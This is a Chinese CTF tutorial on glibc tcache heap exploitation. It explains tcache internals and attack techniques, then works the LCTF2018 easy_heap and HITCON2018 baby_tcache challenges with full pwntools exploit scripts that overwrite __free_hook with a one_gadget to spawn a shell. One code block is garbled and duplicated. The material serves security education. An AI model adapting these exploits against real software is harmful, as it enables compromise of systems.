libc2.26 之后的 Tcache 机制 1. Tcache 概述
? tcache是libc2.26之后引进的一种新机制，类似于fastbin一样的东西，每条链上最多可以有 7 个 chunk，free的时候当tcache满了才放入fastbin，unsorted bin，malloc的时候优先去tcache找。其相关结构体如下

#include #include int main(int argc , char* argv[]) { long* t[7]; long *a=malloc(0x100); long *b=malloc(0x10); long *c=malloc(0x40); // make tcache bin full for(int i=0; i<7; i++) t[i]=malloc(0x100); for(int i=0; i<7; i++) free(t[i]); free(a); free(b); free(c); // a is put in an unsorted bin because the tcache bin of this size is full printf("%p\n",a[0]); } } tcache_perthread_struct;

1. tcache相关的就是上面这两个结构体，其中tcache_entry结构体中的值是一个指向tcache_entry结构体的指针，是一个单链表结构。
   
2. tcache_perthread_struct结构体是用来管理tcache链表的。其中的count是一个字节数组（共64个字节，对应64个tcache链表），其中每一个字节表示的是tcache每一个链表中有多少个元素。entries是一个指针数组（共64个元素，对应64个tcache链表，因此 tcache bin中最大为0x400字节），每一个指针指向的是对应tcache_entry结构体的地址。
   
3. 看了上面的描述，只知道tcache_entry是一个只有一个字段的结构体，该链表与fastbin链表的异同点在于：
   
   • tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针
     
   • tcachebin中的链表指针指向的下一个chunk的fd字段，fastbin中的链表指针指向的是下一个chunk的prev_size字段
     
4. 在_int_free中，最开始就先检查chunk的size是否落在了tcache的范围内，且对应的tcache未满，将其放入tcache中。
   
5. 在_int_malloc中，
   
   • 如果从fastbin中取出了一个块，那么会把剩余的块放入tcache中直至填满tcache（smallbin中也是一样）
     
   • 如果进入了unsortedbin，且chunk的size和当前申请的大小精确匹配，那么在tcache未满的情况下会将其放入到tcachebin中
     

从 Tcache 中获取chunk 的代码：

/* Caller must ensure that we know tc_idx is valid and there's available chunks to remove.*/ static __always_inline void * tcache_get (size_t tc_idx) { //根据索引找到tcache链表的头指针 tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); //将chunk取出 tcache->entries[tc_idx] = e->next; //tcache计数器减一 --(tcache->counts[tc_idx]); return (void *) e;

从 Tcache 中获取 chunk 的情形：

• 在调用malloc_hook之后，_int_malloc之前，如果tcache中有合适的chunk，那么就从tcache中取出：
• 遍历完unsorted bin后，若tcachebin中有对应大小的chunk，从tcache中取出：
• 遍历unsorted bin时，大小不匹配的chunk会被放入对应的bins，若达到tcache_unsorted_limit限制且之前已经存入过chunk则在此时取出（默认无限制）

2.Tcache 例子
? 以下面的程序为例:

#include #include int main(int argc , char* argv[]) { long* t[7]; long *a=malloc(0x100); long *b=malloc(0x10); long *c=malloc(0x40); // make tcache bin full for(int i=0; i<7; i++) t[i]=malloc(0x100); for(int i=0; i<7; i++) free(t[i]); free(a); free(b); free(c); // a is put in an unsorted bin because the tcache bin of this size is full printf("%p\n",a[0]); }

• 可以看到在执行完之后，只有当 tcache 中填充完7个 cache 后，再释放才会进入其对应的 normal bins，这点和之前版本的 libc 不同。

pwndbg> bins tcachebins 0x20 [1]: 0x555555756370 ?— 0x0 0x50 [1]: 0x555555756390 ?— 0x0 0x110 [7]: 0x555555756a40 —? 0x555555756930 —? 0x555555756820 —? 0x555555756710 —? 0x555555756600 ?— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x555555756250 —? 0x7ffff7dcfca0 (main_arena+96) ?— 0x555555756250 /* 'PbuUUU' */ smallbins empty largebins empty pwndbg>

3. Tcache 利用
? Tcache的利用主要分为以下几种：

• tcache poisoning
  
  • 简单来说就是覆盖 tcache entry 结构体中的 next 域，不经过任何伪造 chunk 即可分配到另外地址
• tcache dup
  
  • 类似于 fastbin 的double free，就是多次释放同一个tcache，形成环状链表
• tcache perthread corruption
  
  • 控制tcache_perthread_struct结构体
• tcache house of spirit
  
  • free 内存后，使得栈上的一块地址进入 tcache 链表，这样再次分配的时候就能把这块地址分配出来

例题1： LCTF2018 PWN easy_heap
简单分析后，该题目是一个常规菜单题目，有malloc、free、puts操作，最多分配10个chunk，实际大小均为256(mallocd的是248但是可以复用后一个chunk的pre_size域)， qword_202050 处有一个数组存储分配的 chunk 和用户自定义的大小，除此之外保护全开：

nevv@ubuntu:~/Desktop$ checksec easy_heap [*] '/home/nevv/Desktop/easy_heap' Arch:amd64-64-little RELRO:Full RELRO Stack:Canary found NX:NX enabled PIE:PIE enabled

? 在malloc处存在 NULL 单字节溢出：

unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2) { unsigned int v3; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u); v3 = 0; if ( a2 ) { while ( 1 ) { read(0, &a1[v3], 1uLL); if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 ) break; ++v3; } a1[v3] = 0; a1[a2] = 0; } else { *a1 = 0; } return __readfsqword(0x28u) ^ v4; }

? 这里我发现网上的很多脚本都是一样的，在解题思路中都没有说明用于 overlapping chunk 的 pre_size 是怎么设置的，因为我们要是想让其与上一个 chunk 发生 overlapping，必然要构造 pre_size字段，直接构造的话我们在读取内容的时候‘\0’会截断而且堆块大小是0x100，因此需要另外想办法构造出 pre_size 字段，这也是解题的关键所在。这里我结合出题人的 思路 给出以下两种办法做参考：

1. tcache在分配完其中的7个堆块后如果再次分配，它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来，如果unsortedbin中有三个及以上符合大小的堆块，当并入tcache时，你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身，题目中恰好设置了堆块为0x100对齐，所以分配出来的堆块内容如果什么都不输入那么它的“\0”终止符不会影响fd指针，在将中间的堆块重新malloc出来利用nullbyone漏洞修改下个堆块的previnuse位为0，然后填满tcache后free掉下个堆块，那么他就会和前面的堆块合并形成overlap-chunk。
   
2. 通过 free 操作使得某个要用作 overlapping 的 chunk presize 有我们想要的值，比如填充满 Tcache 后，再次释放空间连续的三个 chunk A B C，会进入 unsorted_bin 并由合并操作，此时最后一个堆块 chunk C 的pre_size 会遗留一个 0x200的值，可以用于后续的 overlapping。
   

• 获取libc
  下边给出使用了第二种思路的exp，基本思想是一样的 chunk A B C，A为 unsortbin， B为 Tcache 链表首部， C为 allocated 状态， 分配 B 并单字节溢出 C 的 pre_inuse 位，free(C) 后触发 overlapping，再次 malloc，将 A 从合并后的 fake unsort bin 中分配出去，这样 B 的 fd 和 bk 的值就变为了 main_arena + 96，同时 B 还存在于已经分配出去的列表中。这样就能获取到 libc 的地址。
  
• tcache dup
  然后我们再次 malloc 后，会再次把 chunk B 分配到程序自定义的记录已分配的 chunk 的列表中，这样就获得了两次free B 的机会，然后通过 malloc 两次 chunk B，第一次分配后将其 fd 的位置改为 __free__hook 的 got 表地址，第二次分配的时候就获得到了 __free__hook 处的空间，此时再进行改写，就是改的 __free__hook 的 got 表项，将其改为 one_gadget 即可。
  

exp:

from pwn import *context.log_level = "debug"p = process('./easy_heap')def malloc(size,content): p.recvuntil("> ") p.sendline('1') p.recvuntil("> ") p.sendline(str(size)) p.recvuntil("> ") p.sendline(content)def free(index): p.recvuntil("> ") p.sendline("2") p.recvuntil("> ") p.sendline(str(index))def puts(index): p.recvuntil("> ") p.sendline("3") p.recvuntil("> ") p.sendline(str(index))for x in range(10): malloc(0x20,"")for x in range(3,10): free(x)for x in range(3): free(x)for x in range(10): malloc(0x20,"")for x in range(6): free(x)free(8) # tcache free(7) # unsort binmalloc(248,'') free(6) # tcache free(9) # overlappingfor x in range(8): malloc(0x20,'')puts(0)libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3EBC40 free_hook = libc_base + 0x3ed8e8 print hex(libc_base) print hex(libc_base + 96 + 0x3EBC40) one_shot = libc_base + 0x4f322malloc(0x20,'') free(5) # free to avoid full free(0) free(9) malloc(0x20,p64(free_hook)) malloc(0x20,'') malloc(0x20,p64(one_shot)) free(5) # gdb.attach(p)# https://libc.blukat.me/ p.interactive()

例题2：HITCON 2018 PWN baby_tcache
这道题目和上一题整体差不多，但是只有新建和删除两个功能，同时使用一个全局变量保存申请的地址和每次申请空间的大小。 新建函数如下：

int new() { _QWORD *v0; // rax signed int i; // [rsp+Ch] [rbp-14h] _BYTE *v3; // [rsp+10h] [rbp-10h] unsigned __int64 size; // [rsp+18h] [rbp-8h]for ( i = 0; ; ++i ) { if ( i > 9 ) { LODWORD(v0) = puts(":("); return (signed int)v0; } if ( !qword_202060[i] ) break; } printf("Size:"); size = get_input(); if ( size > 0x2000 ) exit(-2); v3 = malloc(size); if ( !v3 ) exit(-1); printf("Data:"); sub_B88((__int64)v3, size); v3[size] = 0; // 存在 null off by one 漏洞 qword_202060[i] = v3; v0 = qword_2020C0; qword_2020C0[i] = size; return (signed int)v0; }

这道题目和之前最大的不同之处是我们要考虑怎么把 libc 的地址 leak 出来，考虑以下思路:

• 申请三个chunk A、B、C，AC是unsortbin，大小大于0x400，B 是一个tcache大小的chunk。
• add B的时候溢出C的 pre_inuse 位，再次释放C的时候触发前向合并
• 再次申请空间，使得之前B的位置fd和bk存储的是到main_arena的一个偏移
• 申请一个比B稍微大些的chunk，并把其FD覆盖为 _IO_2_1_stdout_ 结构体所在的位置，稍微大些是为了防止从tcache 中将B取出来使用，后续无法进行 tcache dup和tcache poisoning

分配得到一个指向 _IO_2_1_stdout_ 的结构体后，我们覆盖掉IO_FILE结构体_IO_write_base的低字节,使其在下次puts时输出我们修改后的_IO_write_base到_IO_write_ptr/_IO_write_end的数据

• leak libc后，利用tcache dup，将chunk分配到malloc hook或free hook前，覆盖其为one_gadget即可get shell

from pwn import *context.log_level = 'debug'def new(size,data): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('Size:') p.sendline(str(size)) p.recvuntil('Data:') p.send(data)def delete(index): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('Index:') p.sendline(str(index))while True:try:p = process('./baby_tcache')new(0x500,'a') new(0x78,'a') new(0x4f0,'a') new(0x20,'a') # 防止和 top_chunk发生合并#unsorted bin delete(0)delete(1) new(0x78,'a')#overwrite the pre_chunk_in_use and pre_size #clean pre_size for i in range(6): delete(0) new(0x70+8-i,'a'*(0x70+8-i)) ''' 利用如下代码清理delete后填充的0xda数据，恢复出 pre_size 字段 printf("Size:"); size = get_input(); if ( size > 0x2000 ) exit(-2); v3 = malloc(size); if ( !v3 ) exit(-1); printf("Data:"); sub_B88((__int64)v3, size); v3[size] = 0; '''delete(0) new(0x72,'a'*0x70 + '\x90\x05')#unsorted bin Merging forward delete(2) delete(0)#hijack fd -> _IO_2_1_stdout_ new(0x500,'a') new(0x88,'\x60\xc7')#hijack _IO_write_base to leak libc new(0x78,'a') fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00" #gdb.attach(p) new(0x78,fake__IO_2_1_stdout_) libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0 log.success('libc_base addr : 0x%x'%libc_base) free_hook = libc_base + 0x3ed8e8 one_gadget = libc_base + 0x4f322 log.success('free_hook addr : 0x%x'%free_hook) log.success('one_gadget addr : 0x%x'%one_gadget)#double free delete(1) delete(2)#hijack free_hook -> one_gadget new(0x88,p64(free_hook)) new(0x88,'a') new(0x88,p64(one_gadget))#trigger one_gadget delete(0)p.interactive()except Exception as e:p.close()

文件结构体更改缘由

• 通过修改 stdout->_flags 使得程序流能够流到 _IO_do_write (f, f->_IO_write_base , f->_IO_write_ptr - f->_IO_write_base) 这个函数

在ida中可以看到 _IO_2_1_stdout_ 结构体的偏移为 0x3EC760，_IO_write_base 的偏移为 32：

.data:00000000003EC760 _IO_2_1_stdout_ db84h; DATA XREF: LOAD:0000000000008D18↑o .data:00000000003EC760; .data:00000000003EC6E8↑o ... .data:00000000003EC761db20h .data:00000000003EC762db 0ADh .data:00000000003EC763db 0FBh .data:00000000003EC764db0pwndbg> x /30gx stdout 0x7f27e520c760 <_IO_2_1_stdout_>:0x00000000fbad18000x00007f27e520c7e3 0x7f27e520c770 <_IO_2_1_stdout_+16>:0x00007f27e520c7e30x00007f27e520c7e3 0x7f27e520c780 <_IO_2_1_stdout_+32>:0x00007f27e520c7e3(!!!_IO_write_base)0x00007f27e520c7e3 0x7f27e520c790 <_IO_2_1_stdout_+48>:0x00007f27e520c7e40x00007f27e520c7e3 0x7f27e520c7a0 <_IO_2_1_stdout_+64>:0x00007f27e520c7e40x0000000000000000 0x7f27e520c7b0 <_IO_2_1_stdout_+80>:0x00000000000000000x0000000000000000 0x7f27e520c7c0 <_IO_2_1_stdout_+96>:0x00000000000000000x00007f27e520ba00 0x7f27e520c7d0 <_IO_2_1_stdout_+112>:0x00000000000000010xffffffffffffff00 0x7f27e520c7e0 <_IO_2_1_stdout_+128>:0x000000000a0000000x00007f27e520d8c0 0x7f27e520c7f0 <_IO_2_1_stdout_+144>:0xffffffffffffffff0x0000000000000000 0x7f27e520c800 <_IO_2_1_stdout_+160>:0x00007f27e520b8c00x0000000000000000 0x7f27e520c810 <_IO_2_1_stdout_+176>:0x00000000000000000x0000000000000000 0x7f27e520c820 <_IO_2_1_stdout_+192>:0x00000000ffffffff0x0000000000000000 0x7f27e520c830 <_IO_2_1_stdout_+208>:0x00000000000000000x00007f27e52082a0 0x7f27e520c840 :0x00007f27e520c6800x00007f27e520c760

? 我们将 _IO_write_base 的最低字节改为 00，实际上就到了 3EC700 的位置，据此位置8个字节后，存储的unk_3ED8B0 和 libc 基地址有固定的偏移 unk_3ED8B0，因此可以泄露出 libc。

.data:00000000003EC700db0 .data:00000000003EC701db0 .data:00000000003EC702db0 .data:00000000003EC703db0 .data:00000000003EC704db0 .data:00000000003EC705db0 .data:00000000003EC706db0 .data:00000000003EC707db0 .data:00000000003EC708dq offset unk_3ED8B0 .data:00000000003EC710db 0FFh .data:00000000003EC711db 0FFh .data:00000000003EC712db 0FFh .data:00000000003EC713db 0FFh .data:00000000003EC714db 0FFh .data:00000000003EC715db 0FFh .data:00000000003EC716db 0FFh

? 泄露出 libc 后，由于此时存储chunk的数组中有两个元素指向的是同一个空间，使用 tcache dup 和 tcache poisoning，执行修改 free_hook 为 one_gadget，进而 getshell
【Tcache】参考链接

• https://e3pem.github.io/2018/12/04/hitcon/baby_tcache
• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-makes-heap-exploitation-easy-again
• https://kirin-say.top/2018/10/23/HITCON2018-Tcache/#0x02-BabyTcache

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